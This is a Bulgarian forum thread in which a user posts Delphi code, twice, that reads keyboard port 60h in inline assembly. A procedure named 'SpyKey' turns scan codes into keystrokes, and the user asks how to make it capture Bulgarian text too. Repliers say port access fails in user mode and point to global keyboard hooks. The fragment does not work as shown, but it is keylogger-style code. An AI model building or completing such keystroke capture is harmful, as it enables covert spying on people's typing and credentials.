Delphi и асемблер
4 отговора
0 прегледа
Delphi и асемблер
Здравейте, имам проблем със следния код мисля, че проблема се явява в използването на асемблер, пробвам го на Delphi 5. Някой може ли да ми помогне
{ globalni promenlivi}
var
Key, OldKey: Byte;
LShiftUp, RShiftUp: Boolean;
St: string;
{tablici sus string-ovete za kopchetata}
const
Low: array[1..88] of string = (
' Esc ','1','2','3','4','5','6','7','8','9','0','-','=',' BkSp ',
' Tab ','q','w','e','r','t','y','u','i','o','p','[',']',
' Enter ',' Ctrl ','a','s','d','f','g','h','j','k','l',';','''','`',
' LShift+ ','\','z','x','c','v','b','n','m',',','.','/',' RShift+ ',
' Pad* ',' Alt ',' Space ',' CAPS ',
' F1 ',' F2 ',' F3 ',' F4 ',' F5 ',' F6 ',' F7 ',' F8 ',' F9 ',' F10 ',
' NUM ',' SCROLL ',' Home ',' Up ',' PgUp ',' Pad- ',' Left ',' *5* ',' Right ',
' Pad+ ',' End ',' Down ',' PgDown ',' Ins ',
' Del ',' -LShift ',' -RShift ',' Unknown ',' F11 ',' F12 ');
Hi: array[1..88] of string = (
' Esc ','!','@','#','$','%','^','&','*','(',')','_','+',' BkSp ',
' Tab ','Q','W','E','R','T','Y','U','I','O','P','{','}',
' Enter ',' Ctrl ','A','S','D','F','G','H','J','K','L',':','"','~',
' LShift+ ','|','Z','X','C','V','B','N','M','<','>','?',' RShift+ ',
' Pad* ',' Alt ',' Space ',' CAPS ',
' F1 ',' F2 ',' F3 ',' F4 ',' F5 ',' F6 ',' F7',' F8',' F9 ',' F10 ',
' NUM ',' SCROLL ',' Home ',' Up ',' PgUp ',' Pad- ',' Left ',' *5* ',' Right ',
' Pad+ ',' End ',' Down ',' PgDown ',' Ins ',
' Del ',' -LShift ',' -RShift ',' Unknown ',' F11 ',' F12 ');
{tova tuk e osnovniq cikul deto prihvashta novo kopche}
procedure SpyKey;
begin
asm
in al, 60h {kopcheto vuv al}
mov Key, al {al vuv Key}
end;
{malko obrabotka na Key, za da se vidi sustoqnieto na shift}
if Key = 170 then
begin
Key := 84;
LShiftUp := true;
end;
if Key = 182 then
begin
Key := 85;
RShiftUp := true;
end;
if Key = 42 then LShiftUp := false;
if Key = 54 then RShiftUp := false;
if Key <> OldKey then
{ako kopcheto e razlichno ot staroto togava...}
begin
OldKey:=Key; {novoto kopche vuv Oldkey}
if Key<=88 then {ako e natisnato kopche}
begin
if LShiftUp and RShiftUp then
St:=Low[Key] {nqma shift => vzemi ot tablicata low}
else St:=Hi[Key]; {ima shift => vzemi ot tablicata hi}
end
else if Key - 128 <= 88 then {ako e otpusnato kopche}
begin
if LShiftUp and RShiftUp then
St:=Low[Key - 128] {nqma => shift vzemi ot tablicata low}
else St:=Hi[Key - 128]; {ima => shift vzemi ot tablicata hi}
end;
end;
end;
{ globalni promenlivi}
var
Key, OldKey: Byte;
LShiftUp, RShiftUp: Boolean;
St: string;
{tablici sus string-ovete za kopchetata}
const
Low: array[1..88] of string = (
' Esc ','1','2','3','4','5','6','7','8','9','0','-','=',' BkSp ',
' Tab ','q','w','e','r','t','y','u','i','o','p','[',']',
' Enter ',' Ctrl ','a','s','d','f','g','h','j','k','l',';','''','`',
' LShift+ ','\','z','x','c','v','b','n','m',',','.','/',' RShift+ ',
' Pad* ',' Alt ',' Space ',' CAPS ',
' F1 ',' F2 ',' F3 ',' F4 ',' F5 ',' F6 ',' F7 ',' F8 ',' F9 ',' F10 ',
' NUM ',' SCROLL ',' Home ',' Up ',' PgUp ',' Pad- ',' Left ',' *5* ',' Right ',
' Pad+ ',' End ',' Down ',' PgDown ',' Ins ',
' Del ',' -LShift ',' -RShift ',' Unknown ',' F11 ',' F12 ');
Hi: array[1..88] of string = (
' Esc ','!','@','#','$','%','^','&','*','(',')','_','+',' BkSp ',
' Tab ','Q','W','E','R','T','Y','U','I','O','P','{','}',
' Enter ',' Ctrl ','A','S','D','F','G','H','J','K','L',':','"','~',
' LShift+ ','|','Z','X','C','V','B','N','M','<','>','?',' RShift+ ',
' Pad* ',' Alt ',' Space ',' CAPS ',
' F1 ',' F2 ',' F3 ',' F4 ',' F5 ',' F6 ',' F7',' F8',' F9 ',' F10 ',
' NUM ',' SCROLL ',' Home ',' Up ',' PgUp ',' Pad- ',' Left ',' *5* ',' Right ',
' Pad+ ',' End ',' Down ',' PgDown ',' Ins ',
' Del ',' -LShift ',' -RShift ',' Unknown ',' F11 ',' F12 ');
{tova tuk e osnovniq cikul deto prihvashta novo kopche}
procedure SpyKey;
begin
asm
in al, 60h {kopcheto vuv al}
mov Key, al {al vuv Key}
end;
{malko obrabotka na Key, za da se vidi sustoqnieto na shift}
if Key = 170 then
begin
Key := 84;
LShiftUp := true;
end;
if Key = 182 then
begin
Key := 85;
RShiftUp := true;
end;
if Key = 42 then LShiftUp := false;
if Key = 54 then RShiftUp := false;
if Key <> OldKey then
{ako kopcheto e razlichno ot staroto togava...}
begin
OldKey:=Key; {novoto kopche vuv Oldkey}
if Key<=88 then {ako e natisnato kopche}
begin
if LShiftUp and RShiftUp then
St:=Low[Key] {nqma shift => vzemi ot tablicata low}
else St:=Hi[Key]; {ima shift => vzemi ot tablicata hi}
end
else if Key - 128 <= 88 then {ako e otpusnato kopche}
begin
if LShiftUp and RShiftUp then
St:=Low[Key - 128] {nqma => shift vzemi ot tablicata low}
else St:=Hi[Key - 128]; {ima => shift vzemi ot tablicata hi}
end;
end;
end;
А проблемът ти е?...
А проблемът ти е?... Нищо де. Днеска си нося кристалната топка. И като гледам вътре си мисля, че трябва да прочетеш тези две статии:
How To Ask Questions The Smart Way
Using Hooks
Ако не ти е това проблема - е, сори! Не винаги познавам от раз
How To Ask Questions The Smart Way
Using Hooks
Ако не ти е това проблема - е, сори! Не винаги познавам от раз
Re: А проблемът ти е?...
Промлема ми е в това, че горният код неработи . Разгледах страницата която ми прати, но там се използва DLL файл а той не ми е много ясен, може ли да се промени за да прихваща и неща написани на български?
Re: А проблемът ти е?...
"Не работи" е едно много разтегливо понятие. Ако не можеш да зададеш конкретен въпрос няма и да получиш конкретен отговор. Освен това по такъв начин можеш да пишеш под DOS, но не и под Windows (особено NT версиите). Запознай се с DLL-ите и global hooks, защото иначе няма да стане това, което си го намислил. Най-добре потърси някой по-опитен програмист, който да ти помага активно, защото не е тривиална тази задача.
Re: А проблемът ти е?...
Проблемът ти е в това, че не можеш да изпозваш in и out от твоето проложение, защото то работи на т. нар. user level (ring3). Решението в твоя случай се нарича keyboard hook, както вече знаеш, и тази информация е достатъчна за едно плодотворно търсене в google:
например така
Обяснено е добре, има и примери.
например така
Обяснено е добре, има и примери.
Редактирано от Formal на